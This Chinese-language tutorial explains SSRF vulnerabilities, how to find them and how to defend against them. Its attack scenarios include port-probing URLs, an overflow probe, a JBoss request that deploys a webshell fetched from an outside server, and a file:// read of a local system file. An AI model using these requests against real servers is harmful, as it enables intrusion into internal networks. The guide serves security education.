概念:SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。
如果应用程序对用户提供的URL和远程服务器返回的信息没有进行核实的验证和过滤,就可能存在这种服务端请求伪造的缺陷。
攻击者利用ssrf可以实现的攻击主要有5种:
(1)可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务器的banner信息;
(2)攻击运行在内网或本地的应用程序(比如溢出);
(3)对内网web应用进行指纹识别,通过访问默认文件实现;
(4)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
(5)利用file协议读取本地文件等
1.SSRF漏洞的寻找
1.1 从web功能上寻找
SSRF是由于服务器获取其他服务器的相关信息的功能中形成的。
1 分享:通过URL地址分享网页内容
2 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3 在线翻译
4 图片加载与下载:通过URL地址加载或下载图片
5 图片、文章收藏功能
6 未公开的API实现以及其他调用URL的功能
1.2 从URL关键字中寻找
在对功能上存在SSRF漏洞中URL地址特征的观察,通过一段时间的收集,大致有以下关键字
share,wap,url,link,src,source,target,u,3g,display,sourceURI,imageURL,domain
如果利用google语法加上这些关键字去寻找SSRF漏洞,耐心的验证,现在还是可以找到SSRF漏洞。
2.攻击场景
2.1 大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如
http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/
然后根据服务器的返回信息来判断端口是否开放。
2.2 攻击应用程序
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。
比如,探测到8987端口开放,则可以请求http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA来尝试溢出。
2.3 内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装。
http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
http://127.0.0.1:8082/profiles/minimal/translations/README.txt
以一个来自wooyun的百度案例,在百度识图中,输入http://10.50.33.43:8080/manager/images/tomcat.gif,可以识别出服务器使用了tomcat。
2.4 攻击内网web应用
仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。
只需要将网马放在公网服务器上,然后发送这个请求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
2.5 读取本地文件
上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:
file:///C:/Windows/win.ini
3.如何防御
通常有以下5个思路:
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080.8090
4.黑名单内网ip。避免应用被用来获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp://等引起的问题。
最后欢迎大家访问我的个人网站:1024s